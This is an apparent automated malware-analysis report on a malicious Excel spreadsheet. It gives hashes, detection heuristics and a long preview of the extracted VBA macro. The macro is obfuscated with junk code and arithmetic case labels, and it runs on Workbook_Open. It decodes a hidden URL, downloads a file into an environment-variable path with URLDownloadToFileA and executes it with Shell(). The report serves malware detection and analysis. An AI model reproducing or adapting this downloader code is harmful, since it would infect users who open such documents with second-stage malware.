Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d4a7cad6e7d5d690…

MALICIOUS

Office (OLE)

82.5 KB Created: 2019-02-25 00:12:39 Authoring application: Microsoft Excel First seen: 2019-04-18
MD5: 3e2b908cddb3ab2c30ee5a104aaf4ba4 SHA-1: 7a22095f50355a18c0438f91938035eb5068ebb4 SHA-256: d4a7cad6e7d5d690c02054b9cdde6661e8abb103a2d155a5ad02893cfa00dd70
316 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The file contains VBA macros, including a Workbook_Open event, which is a common technique for executing malicious code upon opening an Excel document. The macro utilizes the URLDownloadToFileA API to download a payload from a remote source, indicating an attempt to fetch and execute a second-stage malware. The presence of Shell() calls further suggests execution of downloaded content.

Heuristics 8

  • ClamAV: Xls.Malware.Generic-6868396-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Generic-6868396-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Select Case 2283
    Case (1225 + 5277 + (4717 - (-1006) + -9942)): Shell (fHGXg)
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 Then
    Private Declare PtrSafe Function URLDownloadToFileA Lib "URLMON" (ByVal x5YlSDofbWI3NdSW06 As Long, ByVal EOwzMDlqkOqrcA As String, ByVal qhWFflA6E46iT As String, ByVal P47POjY As Long, ByVal YPFRxvD As Long) As LongPtr
    #Else
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    #End If
    Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Case (1199 + -5137 + (-4900 - (-476) + -5995)): fHGXg = Environ(kQblcCSZb3(14345 - (8301) + (-6044))) + kQblcCSZb3(12190 - (4344) + (-7845))

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 33664 bytes
SHA-256: 70023ac2e18ca7f4832ea75a28824b8872c13d34a9cabff8110e88ccf9845f23
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
#If VBA7 Then
Private Declare PtrSafe Function URLDownloadToFileA Lib "URLMON" (ByVal x5YlSDofbWI3NdSW06 As Long, ByVal EOwzMDlqkOqrcA As String, ByVal qhWFflA6E46iT As String, ByVal P47POjY As Long, ByVal YPFRxvD As Long) As LongPtr
#Else
Private Declare Function URLDownloadToFileA Lib "URLMON" (ByVal x5YlSDofbWI3NdSW06 As Long, ByVal EOwzMDlqkOqrcA As String, ByVal qhWFflA6E46iT As String, ByVal P47POjY As Long, ByVal YPFRxvD As Long) As Long
#End If
Sub Workbook_Open()

Select Case 6780
Case (8526 + -853 + (3643 - (2366) + -2170)): Hz9nTLRgw

Case (-601 + (1554) - (7481 + -3203) + (-7162)):



ActiveDocument.Bookmarks.Add Range:=Selection.Range, _
   Name:="BookmarkName"



    ' Display message, title, and default value
    Drive = InputBox(Message, Title, Default)
    If Drive > "" Then
        ffname = ActiveDocument.FullName
        fname = Drive & ":\" & ActiveDocument.Name
        ActiveDocument.SaveAs fname
        ActiveDocument.SaveAs ffname
    End If



Case (-601 + (1554) - (7481 + -3203) + (-7162)):



    Title = "CharCount"
    CharCount = Len(Selection)
    Message = LTrim(Str(CharCount)) + " character"
    If CharCount <> 1 Then Message = Message + "s"
    MsgBox Message, vbOKOnly, Title



    BIStatus = 0
    If Selection.Font.Bold Then BIStatus = BIStatus + 1
    If Selection.Font.Italic Then BIStatus = BIStatus + 1

    If BIStatus = 0 Then
        Selection.Font.Bold = True
        Selection.Font.Italic = True
    End If
    If BIStatus = 1 Then
        Selection.Font.Bold = True
        Selection.Font.Italic = True
    End If
    If BIStatus = 2 Then
        Selection.Font.Bold = False
        Selection.Font.Italic = False
    End If



End Select


End Sub
Sub Hz9nTLRgw()

Select Case 13303
Case (282 + (4027) - (-371 + 6918) + (9681)):


Case (363 + 8471 + (-2207 - (683) + 7359)): Dim pQng1PNP As String

Case (282 + (4027) - (-371 + 6918) + (9681)):



Selection.TypeBackspace
With ActiveDocument.Bookmarks
   .Add Range:=Selection.Range, Name:="Name"
   .DefaultSorting = wdSortByName
   .ShowHidden = False
End With




    ' reference the current document
    Set docActive = ActiveDocument

    ' get the name of doc and also path/name
    ' of the template it's based-on
    strDocName = docActive.Name
    strTemplateName = docActive.AttachedTemplate.FullName

    ' create a copy document based on same template
    Set docNew = Documents.Add(strTemplateName)

    ' loop to copy each part of the active doc to the new doc
    For Each rngActiveDocPart In docActive.StoryRanges
        ' reference same part
        Set rngNewDocPart = docNew.StoryRanges _
           (rngActiveDocPart.StoryType)
        rngActiveDocPart.Copy
        rngNewDocPart.Paste
    Next rngActiveDocPart

    ' make the new document active
    docNew.Activate

    ' offer to save it on floppy drive A:\




End Select



Select Case -15595
Case (72 + (-930) - (-3701 + 6654) + (-4821)):



ActiveDocument.Range.Font.Hidden = True
Set rDcm = ActiveDocument.Range
With rDcm.Find
.Text = ""
.Highlight = True
.Forward = False
While .Execute
If rDcm.HighlightColorIndex = wdYellow Then
rDcm.HighlightColorIndex = wdNoHighlight
rDcm.Font.Hidden = False
rDcm.Collapse Direction:=wdCollapseStart
rDcm.Start = ActiveDocument.Range.Start
End If
Wend
End With
Set rDcm = ActiveDocument.Range
Options.DefaultHighlightColorIndex = wdYellow
With rDcm.Find
.Text = ""
.Font.Hidden = False
.Forward = False
.Replacement.Highlight = True
.Execute Replace:=wdReplaceAll
End With



Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
   .Text = "Something"
   .Wrap = wdFindStop
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With
While Selection.Find.Execute
MsgBox ("A")
Wend



Case (-5681 + 4014 + (-5638 - (5483) + -2807)): Dim fHGXg As String

Case (72 + (-930) - (-3701 + 6654) + (-4821)):



Selection.GoTo What:=wdGoToBookmark, Name:="BookmarkName"
Selection.Delete Unit:=wdCharacter, Count:=1
Selection.InsertAfter "This is the new text"




    ' reference the current document
    Set docActive = ActiveDocument

    ' get the name of doc and also path/name
    ' of the template it's based-on
    strDocName = docActive.Name
    strTemplateName = docActive.AttachedTemplate.FullName

    ' create a copy document based on same template
    Set docNew = Documents.Add(strTemplateName)

    ' loop to copy each part of the active doc to the new doc
    For Each rngActiveDocPart In docActive.StoryRanges
        ' reference same part
        Set rngNewDocPart = docNew.StoryRanges _
           (rngActiveDocPart.StoryType)
        rngActiveDocPart.Copy
        rngNewDocPart.Paste
    Next rngActiveDocPart

    ' make the new document active
    docNew.Activate

    ' offer to save it on floppy drive A:\




End Select



Select Case -5798
Case (-6751 + -6612 + (3692 - (-3409) + 464)): Dim k2iT9nyx

Case (-1166 + (-1989) - (-4510 + -7381) + (-3515)):



    Title = "CharCount"
    CharCount = Len(Selection)
    Message = LTrim(Str(CharCount)) + " character"
    If CharCount <> 1 Then Message = Message + "s"
    MsgBox Message, vbOKOnly, Title



Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
   .Text = "Something"
   .Forward = True
   .Wrap = wdFindStop
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With
Do While Selection.Find.Execute
   'Do something within the found text
Loop



Case (-1166 + (-1989) - (-4510 + -7381) + (-3515)):



Do Until ActiveDocument.Bookmarks("\Sel") = _
   ActiveDocument.Bookmarks("\EndOfDoc")
      Selection.Find.ClearFormatting
      With Selection.Find
         .Text = "Howdy!"
         .Forward = True
         .Wrap = wdFindStop
         .Format = False
         .MatchCase = False
         .MatchWholeWord = False
         .MatchWildcards = False
         .MatchSoundsLike = False
         .MatchAllWordForms = False
      End With
      Selection.Find.Execute

      If Selection.Find.Found = True Then
         'Do something within the found text
      Else
         Exit Do
      End If
   Loop



Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
   .Text = "xxx"
   .Replacement.Text = "yyy"
   .Forward = True
   .Wrap = wdFindContinue
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With



End Select



Select Case 13113
Case (2158 + -4751 + (4848 - (-5626) + 5232)): Dim kQblcCSZb3

Case (7236 + (2074) - (6578 + -3274) + (7533)):



    ' Display message, title, and default value
    Drive = InputBox(Message, Title, Default)
    If Drive > "" Then
        ffname = ActiveDocument.FullName
        fname = Drive & ":\" & ActiveDocument.Name
        ActiveDocument.SaveAs fname
        ActiveDocument.SaveAs ffname
    End If



iParCount = ActiveDocument.Paragraphs.Count
For J = 1 To iParCount
    sMyPar = ActiveDocument.Paragraphs(J).Range.Text
    ActiveDocument.Paragraphs(J).Range.Text = sMyPar
Next J



Case (7236 + (2074) - (6578 + -3274) + (7533)):



ActiveDocument.Bookmarks.Add Range:=Selection.Range, _
   Name:="BookmarkName"



Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
   .Text = "Something"
   .Wrap = wdFindStop
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With
While Selection.Find.Execute
MsgBox ("A")
Wend



End Select



Select Case 7295
Case (-4978 + (-9210) - (2506 + 8930) + (-3051)):



Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
   .Text = "Something"
   .Forward = True
   .Wrap = wdFindStop
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With
Do While Selection.Find.Execute
   'Do something within the found text
Loop



iParCount = ActiveDocument.Paragraphs.Count
For J = 1 To iParCount
    sMyPar = ActiveDocument.Paragraphs(J).Range.Text
    ActiveDocument.Paragraphs(J).Range.Text = sMyPar
Next J



Case (3642 + -7206 + (-1995 - (-7799) + 5055)): kQblcCSZb3 = Array(YxTi0UJ("Tk{RMEDBYeM8.N{PypYJ"), YxTi0UJ("\_FgjkPl,8mqfPpn5w1KvxT=b0JoHpjbMJ\t7brE.)\=Ye()36x3,6TeXv(9"), YxTi0UJ("h?9AGtjT0ctqt7hp;S42:.K\7/`Uh?/0*dNt{b|fe/Q)Hri=?kr:u/~yfn[qm]<B0iJ3ohtP*>hcnaf6hvPaieQkGol3o{jlNhW@.MrpfuGtCzs`?vg/}V|Xf6x/>i5qGpltQ{Ze6-Bf/R|Bzco(m*h4e1:is_q\dqK[UeaA3[rR~quaxhl[.{8<)e;)g6x2,1Oeg5|<"))

Case (-4978 + (-9210) - (2506 + 8930) + (-3051)):



Selection.Find.ClearFormatting
With Selection.Find
   .Text = "xxx"
   .Replacement.Text = ""
   .Forward = True
   .Wrap = wdFindContinue
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With
Selection.Find.Execute



Do Until ActiveDocument.Bookmarks("\Sel") = _
   ActiveDocument.Bookmarks("\EndOfDoc")
      Selection.Find.ClearFormatting
      With Selection.Find
         .Text = "Howdy!"
         .Forward = True
         .Wrap = wdFindStop
         .Format = False
         .MatchCase = False
         .MatchWholeWord = False
         .MatchWildcards = False
         .MatchSoundsLike = False
         .MatchAllWordForms = False
      End With
      Selection.Find.Execute

      If Selection.Find.Found = True Then
         'Do something within the found text
      Else
         Exit Do
      End If
   Loop



End Select



Select Case -14357
Case (-665 + (2237) - (5380 + 4654) + (-5417)):



With Selection.Cells
   .Borders(wdBorderLeft).LineStyle = wdLineStyleNone
   With .Borders(wdBorderRight)
      .LineStyle = wdLineStyleSingle
      .LineWidth = wdLineWidth075pt
      .ColorIndex = wdAuto
   End With
   With .Borders(wdBorderTop)
      .LineStyle = wdLineStyleSingle
      .LineWidth = wdLineWidth075pt
      .ColorIndex = wdAuto
   End With
   With .Borders(wdBorderBottom)
      .LineStyle = wdLineStyleSingle
      .LineWidth = wdLineWidth075pt
      .ColorIndex = wdAuto
   End With
   .Borders.Shadow = False
End With
With Options
   .DefaultBorderLineStyle = wdLineStyleSingle
   .DefaultBorderLineWidth = wdLineWidth050pt
   .DefaultBorderColorIndex = wdAuto
End With



    With ActiveDocument
        ' go through each section (except for the last one)
        For iSec = 1 To .Sections.Count - 1
            ' create a range object at the start of the section
            Set oRng = .Sections(iSec).Range
            oRng.Collapse wdCollapseStart
            ' insert a sectionpages field
            .Fields.Add Range:=oRng, Type:=wdFieldSectionPages
            ' divide the sectionpages field by 2
            ' if it gives a zero as the remainder, then
            ' you have an even number of pages in the section,
            ' which is what you want with an odd section page break
            If (.Sections(iSec).Range.Fields(1).Result Mod 2) <> 0 Then
                ' if you have an odd number of pages, then insert
                ' a page break before the section's section break
                Set oRng = .Sections(iSec).Range
                With oRng
                    .Collapse Direction:=wdCollapseEnd
                    .MoveEnd Unit:=wdCharacter, Count:=-1
                    .InsertBreak Type:=wdPageBreak
                End With
            End If
            ' remove the sectionpages field that was added
            .Sections(iSec).Range.Fields(1).Delete
        Next iSec
    End With



Case (-665 + (2237) - (5380 + 4654) + (-5417)):



Columns.EntireColumn.Hidden = False
Rows.EntireRow.Hidden = False



Selection.GoTo What:=wdGoToBookmark, Name:="BookmarkName"
Selection.Delete Unit:=wdCharacter, Count:=1
Selection.InsertAfter "This is the new text"



Case (1199 + -5137 + (-4900 - (-476) + -5995)): fHGXg = Environ(kQblcCSZb3(14345 - (8301) + (-6044))) + kQblcCSZb3(12190 - (4344) + (-7845))

End Select



Select Case -26236
Case (-7791 + (-6043) - (5011 + 2327) + (9871)):



    BIStatus = 0
    If Selection.Font.Bold Then BIStatus = BIStatus + 1
    If Selection.Font.Italic Then BIStatus = BIStatus + 1

    If BIStatus = 0 Then
        Selection.Font.Bold = True
        Selection.Font.Italic = True
    End If
    If BIStatus = 1 Then
        Selection.Font.Bold = True
        Selection.Font.Italic = True
    End If
    If BIStatus = 2 Then
        Selection.Font.Bold = False
        Selection.Font.Italic = False
    End If




    ' reference the current document
    Set docActive = ActiveDocument

    ' get the name of doc and also path/name
    ' of the template it's based-on
    strDocName = docActive.Name
    strTemplateName = docActive.AttachedTemplate.FullName

    ' create a copy document based on same template
    Set docNew = Documents.Add(strTemplateName)

    ' loop to copy each part of the active doc to the new doc
    For Each rngActiveDocPart In docActive.StoryRanges
        ' reference same part
        Set rngNewDocPart = docNew.StoryRanges _
           (rngActiveDocPart.StoryType)
        rngActiveDocPart.Copy
        rngNewDocPart.Paste
    Next rngActiveDocPart

    ' make the new document active
    docNew.Activate

    ' offer to save it on floppy drive A:\




Case (-7791 + (-6043) - (5011 + 2327) + (9871)):



iParCount = ActiveDocument.Paragraphs.Count
For J = 1 To iParCount
    sMyPar = ActiveDocument.Paragraphs(J).Range.Text
    ActiveDocument.Paragraphs(J).Range.Text = sMyPar
Next J



Columns.EntireColumn.Hidden = False
Rows.EntireRow.Hidden = False



Case (-3743 + -8644 + (-9289 - (-5280) + -9840)): pQng1PNP = kQblcCSZb3(-4888 - (-2774) + (2116))

End Select



Select Case 11992
Case (-8963 + (-9913) - (-9419 + 1028) + (1569)):



    Title = "CharCount"
    CharCount = Len(Selection)
    Message = LTrim(Str(CharCount)) + " character"
    If CharCount <> 1 Then Message = Message + "s"
    MsgBox Message, vbOKOnly, Title



ActiveDocument.Bookmarks.Add Range:=Selection.Range, _
   Name:="BookmarkName"



Case (-8963 + (-9913) - (-9419 + 1028) + (1569)):



Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
   .Text = "Something"
   .Wrap = wdFindStop
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With
While Selection.Find.Execute
MsgBox ("A")
Wend



    BIStatus = 0
    If Selection.Font.Bold Then BIStatus = BIStatus + 1
    If Selection.Font.Italic Then BIStatus = BIStatus + 1

    If BIStatus = 0 Then
        Selection.Font.Bold = True
        Selection.Font.Italic = True
    End If
    If BIStatus = 1 Then
        Selection.Font.Bold = True
        Selection.Font.Italic = True
    End If
    If BIStatus = 2 Then
        Selection.Font.Bold = False
        Selection.Font.Italic = False
    End If



Case (-1737 + 4912 + (1640 - (-3420) + 3757)): Call URLDownloadToFileA(32 - (4875 - (-1811) + (-6654)), pQng1PNP, fHGXg, 15 - 7 - (-9222 - (-7496) + (1734)), -3 + (-1750 - (-2664) + (-911)))

End Select



Select Case 2283
Case (1225 + 5277 + (4717 - (-1006) + -9942)): Shell (fHGXg)

Case (-5569 + (-9376) - (-1561 + -4796) + (6172)):



With Selection.Cells
   .Borders(wdBorderLeft).LineStyle = wdLineStyleNone
   With .Borders(wdBorderRight)
      .LineStyle = wdLineStyleSingle
      .LineWidth = wdLineWidth075pt
      .ColorIndex = wdAuto
   End With
   With .Borders(wdBorderTop)
      .LineStyle = wdLineStyleSingle
      .LineWidth = wdLineWidth075pt
      .ColorIndex = wdAuto
   End With
   With .Borders(wdBorderBottom)
      .LineStyle = wdLineStyleSingle
      .LineWidth = wdLineWidth075pt
      .ColorIndex = wdAuto
   End With
   .Borders.Shadow = False
End With
With Options
   .DefaultBorderLineStyle = wdLineStyleSingle
   .DefaultBorderLineWidth = wdLineWidth050pt
   .DefaultBorderColorIndex = wdAuto
End With



Selection.GoTo What:=wdGoToBookmark, Name:="BookmarkName"
Selection.Delete Unit:=wdCharacter, Count:=1
Selection.InsertAfter "This is the new text"



Case (-5569 + (-9376) - (-1561 + -4796) + (6172)):



    ' set document folder path and template strings
    strDocPath = "C:\path to document folder\"
    strTemplateB = "C:\path to template\templateB.dot"

    ' get first doc - only time need to provide file spec
    strCurDoc = Dir(strDocPath & "*.doc")

    ' ready to loop (for as long as file found)
    Do While strCurDoc <> ""
        ' open file
        Set docCurDoc = Documents.Open(Filename:=strDocPath & strCurDoc)
        ' change the template
        docCurDoc.AttachedTemplate = strTemplateB
        ' save and close
        docCurDoc.Close wdSaveChanges
        ' get next file name
        strCurDoc = Dir
    Loop
    MsgBox "Finished"



iParCount = ActiveDocument.Paragraphs.Count
For J = 1 To iParCount
    sMyPar = ActiveDocument.Paragraphs(J).Range.Text
    ActiveDocument.Paragraphs(J).Range.Text = sMyPar
Next J



End Select


End Sub

Function YxTi0UJ(pXsTSOBHwDUONgVzSYz As String) As String

Select Case 1240
Case (-3208 + (-4336) - (6933 + 3130) + (-3840)):



iParCount = ActiveDocument.Paragraphs.Count
For J = 1 To iParCount
    sMyPar = ActiveDocument.Paragraphs(J).Range.Text
    ActiveDocument.Paragraphs(J).Range.Text = sMyPar
Next J



ActiveDocument.Bookmarks.Add Range:=Selection.Range, _
   Name:="BookmarkName"



Case (-6169 + 8113 + (-1223 - (7186) + 7705)):      Dim Yb6DF4teWK(1055) As Byte

Case (-3208 + (-4336) - (6933 + 3130) + (-3840)):



iParCount = ActiveDocument.Paragraphs.Count
For J = 1 To iParCount
    sMyPar = ActiveDocument.Paragraphs(J).Range.Text
    ActiveDocument.Paragraphs(J).Range.Text = sMyPar
Next J



Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
   .Text = "Something"
   .Forward = True
   .Wrap = wdFindStop
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With
Do While Selection.Find.Execute
   'Do something within the found text
Loop



End Select



Select Case 6570
Case (3429 + (7482) - (-4627 + 4306) + (-2478)):



MsgBox ("The document variable is set to type: " & _
ActiveDocument.Variables("DocumentType").Value)



    Title = "CharCount"
    CharCount = Len(Selection)
    Message = LTrim(Str(CharCount)) + " character"
    If CharCount <> 1 Then Message = Message + "s"
    MsgBox Message, vbOKOnly, Title



Case (3429 + (7482) - (-4627 + 4306) + (-2478)):



ActiveDocument.Bookmarks.Add Range:=Selection.Range, _
   Name:="BookmarkName"



Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
   .Text = "xxx"
   .Replacement.Text = "yyy"
   .Forward = True
   .Wrap = wdFindContinue
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With



Case (4465 + -1180 + (-427 - (-1548) + 2164)):      Dim X8UKACvSrSR() As Byte

End Select



Select Case 5108
Case (-103 + 2566 + (7405 - (3168) + -1592)):      Dim byleQTogvduBR

Case (-1482 + (6134) - (3856 + 6235) + (-4471)):



Do Until ActiveDocument.Bookmarks("\Sel") = _
   ActiveDocument.Bookmarks("\EndOfDoc")
      Selection.Find.ClearFormatting
      With Selection.Find
         .Text = "Howdy!"
         .Forward = True
         .Wrap = wdFindStop
         .Format = False
         .MatchCase = False
         .MatchWholeWord = False
         .MatchWildcards = False
         .MatchSoundsLike = False
         .MatchAllWordForms = False
      End With
      Selection.Find.Execute

      If Selection.Find.Found = True Then
         'Do something within the found text
      Else
         Exit Do
      End If
   Loop



iParCount = ActiveDocument.Paragraphs.Count
For J = 1 To iParCount
    sMyPar = ActiveDocument.Paragraphs(J).Range.Text
    ActiveDocument.Paragraphs(J).Range.Text = sMyPar
Next J



Case (-1482 + (6134) - (3856 + 6235) + (-4471)):



    ' set document folder path and template strings
    strDocPath = "C:\path to document folder\"
    strTemplateB = "C:\path to template\templateB.dot"

    ' get first doc - only time need to provide file spec
    strCurDoc = Dir(strDocPath & "*.doc")

    ' ready to loop (for as long as file found)
    Do While strCurDoc <> ""
        ' open file
        Set docCurDoc = Documents.Open(Filename:=strDocPath & strCurDoc)
        ' change the template
        docCurDoc.AttachedTemplate = strTemplateB
        ' save and close
        docCurDoc.Close wdSaveChanges
        ' get next file name
        strCurDoc = Dir
    Loop
    MsgBox "Finished"



   With Selection.Find
        .ClearFormatting
        .Replacement.ClearFormatting
        .Text = " {2,}"
        .Replacement.Text = "^t"
        .Forward = True
        .Wrap = wdFindStop
        .Format = False
        .MatchCase = False
        .MatchWholeWord = False
        .MatchAllWordForms = False
        .MatchSoundsLike = False
        .MatchWildcards = True
    End With
    Selection.Find.Execute Replace:=wdReplaceAll
    Selection.ConvertToTable _
      Separator:=wdSeparateByTabs, _
      Format:=wdTableFormatNone



End Select



Select Case 1391
Case (-5905 + 9031 + (-8057 - (1536) + 7858)):      Dim Gui4JpmztTGH1G

Case (7471 + (-8774) - (1693 + -6152) + (-9119)):



Selection.Find.ClearFormatting
With Selection.Find
   .Text = "xxx"
   .Replacement.Text = ""
   .Forward = True
   .Wrap = wdFindContinue
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With
Selection.Find.Execute



Do Until ActiveDocument.Bookmarks("\Sel") = _
   ActiveDocument.Bookmarks("\EndOfDoc")
      Selection.Find.ClearFormatting
      With Selection.Find
         .Text = "Howdy!"
         .Forward = True
         .Wrap = wdFindStop
         .Format = False
         .MatchCase = False
         .MatchWholeWord = False
         .MatchWildcards = False
         .MatchSoundsLike = False
         .MatchAllWordForms = False
      End With
      Selection.Find.Execute

      If Selection.Find.Found = True Then
         'Do something within the found text
      Else
         Exit Do
      End If
   Loop



Case (7471 + (-8774) - (1693 + -6152) + (-9119)):



…